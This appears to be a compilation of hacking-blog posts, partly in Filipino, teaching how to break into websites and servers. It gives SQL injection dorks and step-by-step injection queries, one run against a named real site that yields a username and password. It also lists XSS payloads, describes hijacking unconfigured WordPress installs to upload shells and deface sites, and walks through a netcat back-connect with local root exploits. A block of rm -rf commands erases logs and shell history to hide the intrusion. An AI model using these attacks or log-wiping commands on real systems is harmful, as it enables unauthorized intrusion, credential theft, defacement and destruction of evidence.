Find Vulnerable Column Using Various Techniques

Hello Friends, today i am giving you a notepad file and a video which teach you to get vulnerable columns using various Techniques.

Friends, Sometimes when u get column number using ORDER BY or GROUP BY method  then your next step is to Find which number is vulnerable in those all columns. But during some reasons you can't get vulnerable columns by using simple union select commands.
But friends dnt be worries I am giving you all those techniques Now.



Download video of Find vulnerable columns using many techniques from here :-
http://www.mediafire.com/download/h6b5bjvit7gykq2/How+to+get+Vulnerable+Column+Using+Many+Techniques+in+SQLI.rar


Download My text file from here :-
http://www.mediafire.com/view/kd6mvank9tdk5np/Find_Vulnerable_Column(2).txt


Thanks you readers friends. I hope u like my posts.  And friends  some techniques which I use in text file I not use in video so use that Techniques urself.........

MYSQL Error (') Dorks

====================================================================

inurl:(@version,0x3a,databse)

inurl:(user,0x3a,pass)

inurl:UNION+ALL+SELECT

inurl:+union+select+ from

inurl:+union+select+ pass

inurl:+union+select+ SHOP

inurl:+union+select+ admin

inurl:unhex(hex(@@version))

inurl:unhex(hex(concat(username,0x3a,password)))

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: is_writable()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: pg_exec()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: mysql_query()

inurl:"id=" & intext:"Warning: array_merge()

inurl:"id=" & intext:"Warning: preg_match()

inurl:"id=" & intext:"Warning: ilesize()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()

Shell Uploading Tutorial (Tamper Data, Live HTTP Headers, and SQLI queries)

Good Day mates, This is "Sp4nksta"

Today i will guide you how to bypass in
upload shell in different methods and
techniques.

This Guide covers
>Normal Uploading
>Using Live HTTP headers
>Tamper Data
>Uploading File using "SQL injection queries"
>and Finding the right path of the shell

#Encoded Tutorial to be written soon.


Best Regards to,
Pinoy Vendetta , Anonymous Zamboanga, Phantom Hackers, Str4what Pirates and to all my Friends out there eating cakes :)

XSS (Cross Site Scripting) Detailed Tutorial + Payloads

Good Day mates,sorry to keep you waiting :)  ive been busy for a long time, but then, i still have vacant schedules and i managed to make this XSS (Cross Site Scripting) Full tutorial..

Introduction
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

XSS Attack Examples

Reflective XSS
There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session.

<?phpif(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){$isempty=true;}else{echo '<pre>';echo 'Hello' . $_GET['name'];echo '</pre>';}?>

Persistent XSS
Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.

<?phpif(isset($_POST['btnSign'])){$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input$message = stripslashes($message);$message = mysql_real_escape_string($message);// Sanitize name input$name = mysql_real_escape_string($name);$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');}?>

DOM based XSS

DOM-based vulnerabilities occur in the content processing stages performed by the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents which is called the Document Object Model (DOM) JavaScript programs manipulate the state of a web page and populate it with dynamically-computed data primarily by acting upon the DOM. simply that type occurs on the javascript code itself that the developer use in client side for example "A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping,entirely on client side."



HOW TO EXECUTE XSS QUERY.
(so lets perform xss on random sites)
we can start by using XSS dorks.

XSS DORKS

http://sh.st/v4f5

XSS PAYLOADS

http://sh.st/v4h4

http://sh.st/v4lw

type in Google:

inurl:"search.php?q="

okay, now i found this target site..

http://sh.st/v4eP

So let's Execute a XSS payload, this time im gonna use this payload.

<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">

Hit Enter then poof! Site has been xssed.

See Image below.

Nowadays, XSS attack is not just used by Hackers, it is also used by pentesters and Security Reaserchers.. :)
And A big Credit to my Friend "Evan Ricafort" and other security researchers for sharing some of their XSS payloads :)

1) <a href="javascript&colon;u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>

2) <div onmouseover='alert&lpar;1&rpar;'>DIV</div>

3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">

4) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>

5) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

6) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

7) <var onmouseover="prompt(1)">On Mouse Over</var>

8) <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

9) <img src="/" =_=" title="onerror='prompt(1)'">

10) <%<!--'%><script>alert(1);</script -->

11) <script src="data:text/javascript,alert(1)"></script>

12) <iframe/src //onload = prompt(1)

13) <iframe/onreadystatechange=alert(1)

14) <svg/onload=alert(1)

15) <input value=<><iframe/src=javascript:confirm(1)

16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div>

17) http://www.<script>alert(1)</script .com


18) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>

19) <svg><script ?>alert(1)

20) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

21) <img src=`xx:xx`onerror=alert(1)>

22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>

23) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>

24) <math><a xlink:href="//jsfiddle.net/t846h/">click

25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

26) <svg contentScriptType=text/vbs><script>MsgBox+1

27) <a href="data:text/html;base64_,<svg/onload=u0061&#x6C;&#101%72t(1)>">X</a

28) <iframe/onreadystatechange=u0061u006Cu0065u0072u0074('u0061') worksinIE>

29) <script>~'u0061' ; u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073. u0061u006Cu0065u0072u0074(~'u0061')</script U+

30) <script/src="data&colon;text%2Fju0061vu0061script,u0061lert('u0061')"></script a=u0061 & /=%2F

31) <script/src=data&colon;text/ju0061vu0061&#115&#99&#114&#105&#112&#116,u0061%6C%65%72%74(/XSS/)></script

32) <object data=javascript&colon;u0061&#x6C;&#101%72t(1)>

33) <script>+-+-1-+-+alert(1)</script>

34) <body/onload=&lt;!--&gt;&#10alert(1)>

35) <script itworksinallbrowsers>/*<script* */alert(1)</script

36) <img src ?itworksonchrome?/onerror = alert(1)

37) <svg><script>//&NewLine;confirm(1);</script </svg>

38) <svg><script onlypossibleinopera:-)> alert(1)

39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

40) <script x> alert(1) </script 1=2

41) <div/onmouseover='alert(1)'> style="x:">

42) <--`<img/src=` onerror=alert(1)> --!>

43) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>

44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>

45) "><img src=x onerror=window.open('https://www.google.com/');>

46) <form><button formaction=javascript&colon;alert(1)>CLICKME

47) <math><a xlink:href="//jsfiddle.net/t846h/">click

48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>

49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

50) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

The Next tutorial ill be writing will be on how to hack and penetrate targeted site. so stay tune :)

Backdoor Discovered In Netgear and Linkys Routers

 Now tell me, whos using  Linksys WAG200G  and Netgear routers?
well,"A hacker has found a backdoor in the Linksys WAG200G router, that gives access to the admin panel without authentication. Further research shows that these devices are made by Sercomm, meaning that Cisco, Watchguard, Belkin and various others maybe affected as well. From the article: 'The backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources.'"

source: http://it.slashdot.org/story/14/01/02/2314259/backdoor-discovered-in-netgear-and-linkys-routers?utm_source=slashdot&utm_medium=twitter

Local root exploits 2005-2013 with autoroot

Hey yo mates,

Last time, I got a tutorial about How to root a server, but since i forgot to attach the Local root Exploits, now, it here..

heres im going to share you,

Local ROOT Exploits from 2005 -2013

Credits to the Author of the exploits especially the 2013

Click the download link..

All Local root exploits

Wordpress Exploit (wp-admin/install.php) Vulnerability

Wordpress Exploit (wp-admin/install.php) Vulnerability


Good Day Mates! This is Sp4nksta Reporting :D
Last time i just taught you on how to Extract Emails from a certain domain,, This is a step by step Tutorial. Now, this Kind of exploit( a cool wordpress exploit that i'll be teaching you is different from other wordpress exploits that is commonly used, like upload exploit, Or something, Blabla,. so enough of talking , Let's Start :) m/


First things first,
You must have a Shodanhq account
its not cumpolsary to have shodanhq account coz you can still acess without account :P

Browse to

http://www.shodanhq.com

Search in this Dork

«wp-admin/install.php»

See Attached image below

Second Thing,
Choose your target site(Ip address)

Then, The target site You have chosen must be the same with this Image below. regardles on the Language. ^_^

Next Step Is Input youre desired Credentials :D The mos Exciting part though,. AHAHAHA

Then, Login to The site,,

http://siteip.com/wp-login.php

Then POOF! You just Got in the Admin Dashboard,,! :D

Now, You know what to do :P You can now upload Your Shell, and deface the site and own it :P

If You want To copy this Thread on your site:, Please Also dont forget to Put Credits :)

Okay Mates.. I hope u learn More with this tutorial, Please Hang On for more :D and if you think that i helped you, you can share my Blog or invite Your friends to check it :D
More Hacking Exploits and Tutorials Soon.. Keep updated :D

ERROR Based SQL Injection Tutorial

SQL INJECTION WHERE THE VERSION IS LESS THAN 5.
Last time,  :D Today i’m going to teach you how to inject a website, that has version less than 5.


As example,i’m taking this site.

http://www.ultimatehomedesign.com/news-detail.php?id=312

NOTE : Don’t step ahead if you don’t know UNION BASED Sql injection.

Getting Version
Now,lets check the version with error based query.

+or+1+group+by+concat_ws(0x7e,version (),floor(rand(0)*2))+having+min(0)+or+1–

Version : Duplicate entry ’4.1.22-standard~1′ for key 1

Getting Tables
This site don’t have information_schema . The version is less than 5. We have to guess the table names.
This should be our syntax to guess the tables.

or+1+group+by+concat_ws(0x7e,(select+1+from+ Guess_table +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Now he we have to guess table name with this syntax. Some tables that usuallycontains login data :
admin
amdinstator
tbl_admin
tbl_adminstator
login
member
user
users
table_users
settings

Now i’m trying to guess table name with the syntax.

http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+admin+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

I tried to guess admin table. There is no table in the database named
admin .
So error came up :
Table ‘uhd.admin’ doesn’t exist
Lets try to guess another table.

http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+adminstator+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Again error came up. There is no table in the database named adminstator
So error came up :
Table ‘uhd.adminstator’ doesn’t exist
Lets try with another table :

http://www.ultimatehomedesign.com/news-detail.php?id=312+or+1+group+by+concat_ws(0x7e,(select+1+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

So users table exists.
No error came up :
Duplicate entry ’1~1′ for key 1
Getting Columns
Now,we have to guess column name. So syntax to get columns should be like this:

+or+1+group+by+concat_ws(0x7e,(select+ column_name +from+ table_name +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Username is the most common table. Lets try with it.

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+username+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Error came up. The column doesn’t exist
Unknown column ‘username’ in ‘field list’
Lets try to guess another column user_name .

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_name+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Now the site loads good. That means user_name exists.
Now try to guess the password column. Lets try with user_pass .

http://www.ultimatehomedesign.com/news-detail.php?id=309+or+1+group+by+concat_ws(0x7e,(select+user_pass+from+users+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Extracting data from columns
To get data from columns,our syntax should be this :

or+1+group+by+concat_ws(0x7e,(select+concat( column_name ,0x7e, column_name )+from+ table_name +limit+0,1),floor(rand(0)*2))+having+min(0)+or+1–

Some times, this query don’t works,as this query don’t works on this site. We have to use substring.
Getting Username:

www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_name,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)

With this subtrinquery function we can combine a complex question. This query attempts to retrieve the name database of a database table. One character at a time. The substing function will return the first character of query’s result
The username cames up in the query :
Duplicate entry ‘root~1′ for key 1
Getting Password
:

http://www.ultimatehomedesign.com/news-detail.php?id=309+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(substring(user_pass,1,25))+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)

Password came up :
Duplicate entry ‘trump123~1′ for key 1 
Hope you learned something. :D Okay Mates, Stay Tuned For the Next Tutorial OF SQL injection :D

Back Connecting & rooting on linux servers

 Back Connecting & rooting on linux servers

Step By Step Tutorial  po eto

Things Required :

• NetcaT
• Shelled site
• Local root expl0it (LOCAL ROOT EXPLOITS 2006-2013 DOWNLOAD LINK WILL BE PROVIDED AT THE END OF THE TUTORIAL)
• Open  port.. (port forwarding)(to open port, sa cmd type ipconfig /all then the default gateway.)

1. download nyo po netcat, den put it on desktop. or in any place that you like :D(in my case its in Desktop)




2. open netcat WITH CMD!!!! :v

>>>>  cd Desktop/netcat  >> enter

3. Now Type : nc -nlvp 443 , then it would show like the image shown below
(example the open port is 443)

4.Its time to open your shell & then connect  using back connect function in your shell ( Make sure that you are not using any Vpn or Proxy ) .
Then after the connection is established you will see something as shown in the screenshot below .

5. upload you exploit on the site :D


example.: youve uploaded 2.6.18-374 2011 on the public_html dir


6. if your using WSO shell, click network button,
then type your desired port, (mine is 443)

the Connect,, if you see this,, your sucessfuly backconnected ti the server

7. check the dir where you are,(pagpasensyaha ang grammer, correct my grammar :D )


>> tpype pwdsince you uploaded you exploit in public_html


>> type cd the the path for public_html



8. CHMOD THE EXPLOIT

>>type  chmod 777 2.6.18-374 2011




9.Now  its time to run the Exploit, to run the exploit we will type the following command

>>Type: ./2.6.18-374 2011   (the exploit name )

then to check if the site is rooted.type


>> id
>>whoami
THEN CHADA! ROOTED NA ANG SERVER :p



Clearing Logs:  
Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .

 rm -rf /tmp/logs rm -rf $HISTFILE rm -rf /root/.ksh_history rm -rf /root/.bash_history rm -rf /root/.ksh_history rm -rf /root/.bash_logout rm -rf /usr/local/apache/logs rm -rf /usr/local/apache/log rm -rf /var/apache/logs rm -rf /var/apache/log rm -rf /var/run/utmp rm -rf /var/logs rm -rf /var/log rm -rf /var/adm rm -rf /etc/wtmp rm -rf /etc/utmp history -c find / -name *.bash_history -exec rm -rf {} ; find / -name *.bash_logout -exec rm -rf {} ; find / -name "log*" -exec rm -rf {} ; find / -name *.log -exec rm -rf {} ;



NEXT TUTORIAL WILL BE ON MASS DEFACING :D STAY TUNED

UNION Based SQL injection Tutorial

Hi Friends! eto ang Tutorial ng "SQLI URL BASED"One of the methods in Hacking and Cracking a Websitei called this "simple sql injection is because its so easy to bypass :3 '


SQL(Structered Query Language) Injection Tutorial:

Tools Needed:
SQLI scanner = google nalang po..
Hack Bar = Just download this on mozilla firefox add ons,
Dorks = eto gamit para maghanap ng sites na pwede i inject. :D
Fingers = for typing
VPN(virtual private network) and Proxies = di ko na to i explain, :3 i google
nalang
BRAIN


Optional Tools
Havij and other automatic tools = ang tool na to ay automatic sql injection tool, di ka na gagamit typing, just clicks..

Note: kung gusto mo gumaling sa Sql Injection, Mag start ka muna sa Manual, coz thats the key for you to become a good injector :))


Steps:
Some of the google Dorks:
There are many google dorks, about hundreds, and you can find it on google, search lang.


inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:declaration_more.php?decl_id=
inurl:pageid=inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=



Ok Lets Start:I search mo To sa google:inurl:index.php?id=Note: kung gusto mo ng site ng specifec na bansa o lugar just add " Site:TW " :)

ex. inurl:index.php?id= Site:TW

TW stands for taiwan kasi op taiwan daw. :3


1st. Finding vulnerable sites,  2nd. Finding amount of columns, 3rd. Getting mysql version,  4th. Getting Databases, 5th. Getting Tables,  6th Getting Columns, 7th Getting Usernames and Passwords



1. Finding vulnerable sites

Ex. eto vulnerable site ko....http://www.SAMPLESITE.com.tw/index.php?id=32

para malaman mo kung vulnerable ang site mag type ng ( ' ) sa dulo ng url


ex. http://www.SAMPLESITE.com.tw/index.php?id=32'

Pag may  maglabas ng error, like

error in sql syntax .............................................................. near line 1


2. Finding Amount of Columns 

Para makuha mo kung ilan ang columns, gagamitin mo ang query ma "order by #--ok,lets try order by 1--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 2--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 3--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 4--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 5--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 6--  => no error
http://www.SAMPLESITE.com.tw/index.php?id=32 order by 7--   ==>> May error na


So ibig sabihin ang columns 6 lang kasi ang error hanggang 7.. :D



ngayon hanapin na tin ang vulnerable column. To do this please folow me:

http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,4,5,6--


After id= please insert [-] and it means null.


ngaun may makikita kang numbers sa website, let's say ang number na nakita ko is 4 so sa column 4 ako mag iinject.


3. Getting Mysql Version


Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).


http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,@@version,5,6--


In the vulnerable column we use @@version o version() instead of column number.ok we find it.




4. Getting Databases

Now we wanna find the databases and the Current database.Here the syntax for all databases:EX.

http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata--



Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.


Syntax for current database:


www.SAMP:ESITE/index_en.php?id=-7 union all select 1,2,3,database(),5,6 from information_schema.schemata--

okay, nahanap na..


5th Getting Tables


ngayon gusto natin malaman ang tables ng column #4, Follow me


http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--


so may makikit kang tables, hanapin ang table ng admin,Maraming tables ang admin merong, administrator, users, etc/ di ko masyado maexplain, pensa ya lang... use brain..ex. table na nandito sa akin users


6. Getting Columns, 

hahanapin natin ang columns, so will use following code:


http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name=CHAR(117, 115, 101, 114)--


okay, obeserve mo mabuti ang column..  diba pinalitang ang (column_name) , _schema.Columns , table_name at ung database binura at pinalitan ng mysql char ng userskasi users ang table na i dudump natin.Follow. para makuha ang sql char ng "users" sa top left ng hackber may sql. before XSs, click mo un, tapos MYSQL tapos mysql CHAR, den type mo ang string "Users" at llaalalabas to CHAR(117, 115, 101, 114).. okay? gets?


7. Dumping users/pass (getting data) 


Follow this steps


Now you would like to dump logins and passwords.



http://www.SAMPLESITE.com.tw/index.php?id=-32 union all select 1,2,3,group_concat(login,0x3a,pass),5,6 from users--


so ayan na. nakuha mo na ang username at pass
ex.

admin:12345!@#$%

Lets Celebrate.. :D

Note: maramimi pang methods, techniques, at bypasses ang sqli.
examples are:
Bypassing
String basedSqli
error based
Sqli sql injection (double query eror based)
ASP  :D lol
SQli double query
at ang blind sqli  ang di ko pa masyado kabisado. :D

maramiing ways rin sa pag exploit at pag bypass ng website, kasi halos lahat na may vulnerablilities like
Upload vulnerabelaties
XSS
CSFG
IIS exploits   etc... bla2x,stay tuned for nex TUTS.... :)

Video Tutorial

Video Tutorial